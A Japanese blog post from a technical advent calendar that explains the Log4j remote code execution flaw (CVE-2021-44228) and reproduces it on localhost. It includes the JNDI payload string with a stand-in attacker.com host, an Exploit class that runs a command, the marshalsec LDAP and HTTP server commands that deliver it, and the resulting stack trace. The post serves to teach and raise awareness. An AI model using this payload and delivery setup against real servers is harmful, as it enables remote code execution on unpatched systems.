🔥

log4jの0-day exploitを動かして理解する

2021/12/11に公開

これはKCS AdventCalendar2021 10日目の記事です。

←9日目|11日目→


どうもyapattaです。最近アドベントカレンダー用の技術記事を書こうと思っていたが書きたい技術が思い浮かばなかった。

そんなときである!本日(投稿したときには前日)幸か不幸かインターネット上でApache-log4jのゼロデイ・エクスプロイト(CVE-2021-44228)が話題を賑わせた。

せっかくだし流行に乗って、実際に動かして理解を深めた。セキュリティ啓発になったら幸いということでこの記事を書く。

急いで書いてかつ自分の知識が不十分であるため、誤りなどが存在する可能性があるがそのときは指摘して頂けるとありがたい。

あとこれが重要、絶対に悪用しないで下さい。

では本題。

log4j RCE 0-day exploitとは

概要

サーバ内でApache log4jのバージョンが2.0以上2.14.1以下の場合、log4jを利用しているシステムに対し外部から任意のJavaコードを実行可能にさせる脆弱性というものだ。

CVEの詳細↓
https://www.cve.org/CVERecord?id=CVE-2021-44228

ユースケース

上の概要だけだと具体的にどう実行するのかがよくわからない。ということで以下が実際のユースケース。

  1. log4jを利用しているサーバに、リクエストで${jndi:ldap://example/test.java}みたいなJndi Lookupする文字列をぶち込んでサーバにリクエストを送る
  2. サーバ側でその文字列をlog4jで出力する場合、log4j側で変数展開されるタイミングでLDAPサーバの指定のJavaファイル(今回はtest.java)を取りに行って実行してしまう

つまりリクエストのとある文字列をlog4jで出力するシステムの場合、LDAPサーバ上の悪意のあるjavaファイルが実行されうるという話だ。だから例えばウェブサービスのフォームに入力した文字列をlog4jで出力するシステムの場合はフォームにJndi Lookupする文字列をぶち込んだら任意のjavaコードが実行可能になるわけだ。[1][2]


↓実際の影響のスクショを集めたサイト

https://github.com/YfryTchsGD/Log4jAttackSurface

exploitの手順

ユースケースをより具体的に説明する。

この記事[1:1]がわかりやすかった。

  1. ユーザが悪意のあるペイロードを含むデータをリクエストとしてサーバに送る
  2. サーバがリクエスト内の悪意があるペイロードを含むデータをログで出力する
    • 悪意があるペイロードの例: ${jndi:ldap://attacker.com/a}
    • ここでattacker.comは攻撃者が持っているサーバ
  3. ペイロードによって引き起こされた脆弱性のせいで、サーバはJNDI(Java Naming and Directory Interface)を介してattacker.comにリクエストを送る
  4. レスポンスにJava Classファイルへのパスが含まれる(このときサーバ上でExploit.classが実行されてしまう)
    • 例: http://second-stage.attacker.com/Exploit.class

実際にexploitを試してみた

log4jの0-day exploitが何なのかわかってきたということで実際にexploitを試してさらに理解を深めよう。

log4jを利用するJavaプログラムからLDAPサーバにアクセスして、LDAPサーバ上の任意のコードを実行させてみた。

実際にローカルのみで試して下さい。悪用しないで下さい。

参考にしたレポジトリ↓
https://github.com/tangxiaofeng7/apache-log4j-poc

環境について、

  • java 17.0.1 2021-10-19 LTS
  • apache-log4j-2.14.1

Javaコード

実行コード

これを元に。

log4j.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j {
    private static final Logger logger = LogManager.getLogger(log4j.class.getName());

    public static void main(String[] args) {
        logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}");
    }
}

Exploit用コード

Exploit.java
public class Exploit {
    static {
        try {
            String [] cmd={"calc"};
            java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

実行手順

1. HTTPサーバを起動

適当なポートでHTTPサーバを起動。同じディレクトリにExploit用コードを置く。今回はExploit.classというファイル。

python -m http.server 8000

2. LDAPサーバを起動

今回はmarshalsecでldapサーバを起動させる。marshalsecを使う理由はExploit用のコードを配信するHTTPサーバへのプロキシとして利用するため。

https://github.com/mbechler/marshalsec

クローンしてきてMavenでビルド

mvn clean package -DskipTests

LDAPサーバを起動

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit"

3. Javaファイルを実行

java log4j

実行結果

確かにExploit.javaが実行された!LDAPサーバ上のjavaファイルが実行されたということだ。

java.io.IOException: Cannot run program "calc": error=2, そのようなファイルやディレクトリはありません
        at java.base/java.lang.ProcessBuilder.start(ProcessBuilder.java:1143)
        at java.base/java.lang.ProcessBuilder.start(ProcessBuilder.java:1073)
        at java.base/java.lang.Runtime.exec(Runtime.java:594)
        at java.base/java.lang.Runtime.exec(Runtime.java:453)
        at Exploit.<clinit>(Exploit.java:5)
        at java.base/jdk.internal.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
        at java.base/jdk.internal.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:77)
        at java.base/jdk.internal.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
        at java.base/java.lang.reflect.Constructor.newInstanceWithCaller(Constructor.java:499)
        at java.base/java.lang.reflect.ReflectAccess.newInstance(ReflectAccess.java:128)
        at java.base/jdk.internal.reflect.ReflectionFactory.newInstance(ReflectionFactory.java:347)
        at java.base/java.lang.Class.newInstance(Class.java:645)
        at java.naming/javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:180)
        at java.naming/javax.naming.spi.DirectoryManager.getObjectInstance(DirectoryManager.java:188)
        at java.naming/com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1114)
        at java.naming/com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)
        at java.naming/com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)
        at java.naming/com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:207)
        at java.naming/com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
        at java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409)
        at org.apache.logging.log4j.core.net.JndiManager.lookup(JndiManager.java:172)
        at org.apache.logging.log4j.core.lookup.JndiLookup.lookup(JndiLookup.java:56)
        at org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:221)
        at org.apache.logging.log4j.core.lookup.StrSubstitutor.resolveVariable(StrSubstitutor.java:1110)
        at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1033)
        at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
        at org.apache.logging.log4j.core.lookup.StrSubstitutor.replace(StrSubstitutor.java:467)
        at org.apache.logging.log4j.core.pattern.MessagePatternConverter.format(MessagePatternConverter.java:132)
        at org.apache.logging.log4j.core.pattern.PatternFormatter.format(PatternFormatter.java:38)
        at org.apache.logging.log4j.core.layout.PatternLayout$PatternSerializer.toSerializable(PatternLayout.java:344)
        at org.apache.logging.log4j.core.layout.PatternLayout.toText(PatternLayout.java:244)
        at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:229)
        at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:59)
        at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.directEncodeEvent(AbstractOutputStreamAppender.java:197)
        at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.tryAppend(AbstractOutputStreamAppender.java:190)
        at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.append(AbstractOutputStreamAppender.java:181)
        at org.apache.logging.log4j.core.config.AppenderControl.tryCallAppender(AppenderControl.java:156)
        at org.apache.logging.log4j.core.config.AppenderControl.callAppender0(AppenderControl.java:129)
        at org.apache.logging.log4j.core.config.AppenderControl.callAppenderPreventRecursion(AppenderControl.java:120)
        at org.apache.logging.log4j.core.config.AppenderControl.callAppender(AppenderControl.java:84)
        at org.apache.logging.log4j.core.config.LoggerConfig.callAppenders(LoggerConfig.java:540)
        at org.apache.logging.log4j.core.config.LoggerConfig.processLogEvent(LoggerConfig.java:498)
        at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:481)
        at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:456)
        at org.apache.logging.log4j.core.config.DefaultReliabilityStrategy.log(DefaultReliabilityStrategy.java:63)
        at org.apache.logging.log4j.core.Logger.log(Logger.java:161)
        at org.apache.logging.log4j.spi.AbstractLogger.tryLogMessage(AbstractLogger.java:2205)
        at org.apache.logging.log4j.spi.AbstractLogger.logMessageTrackRecursion(AbstractLogger.java:2159)
        at org.apache.logging.log4j.spi.AbstractLogger.logMessageSafely(AbstractLogger.java:2142)
        at org.apache.logging.log4j.spi.AbstractLogger.logMessage(AbstractLogger.java:2017)
        at org.apache.logging.log4j.spi.AbstractLogger.logIfEnabled(AbstractLogger.java:1983)
        at org.apache.logging.log4j.spi.AbstractLogger.error(AbstractLogger.java:740)
        at log4j.main(log4j.java:8)
Caused by: java.io.IOException: error=2, そのようなファイルやディレクトリはありません
        at java.base/java.lang.ProcessImpl.forkAndExec(Native Method)
        at java.base/java.lang.ProcessImpl.<init>(ProcessImpl.java:314)
        at java.base/java.lang.ProcessImpl.start(ProcessImpl.java:244)
        at java.base/java.lang.ProcessBuilder.start(ProcessBuilder.java:1110)
        ... 52 more
01:07:18.219 [main] ERROR log4j - ${jndi:ldap://127.0.0.1:1389/Exploit}

おまけ(用語)

  • RCE: Remote Code Executionの略、その名の通り
  • 0-day vulnerability: 発見されたがパッチがまだ適用されていないシステムもしくはデバイスの脆弱性[3]
  • 0-day exploit: 0-day vulnerabilityを攻撃するエクスプロイト(脆弱性を突いて有害な動作を引き起こすプログラム)
  • 0-day attack: 問題の存在自体が広く公表される前にその脆弱性を悪用して実行される攻撃のこと[4]
  • log4j: Java用の人気のあるログトレーシングフレームワーク(API)、Apache Software Licenseで配布されている[5]
脚注
  1. https://www.lunasec.io/docs/blog/log4j-zero-day/ ↩︎ ↩︎

  2. https://ezoeryou.github.io/blog/article/2021-12-10-log4j.html ↩︎

  3. https://www.trendmicro.com/vinfo/us/security/definition/zero-day-vulnerability ↩︎

  4. https://www.trendmicro.com/vinfo/jp/security/definition/zero-day-exploits ↩︎

  5. https://logging.apache.org/log4j/2.x/manual/index.html ↩︎

Discussion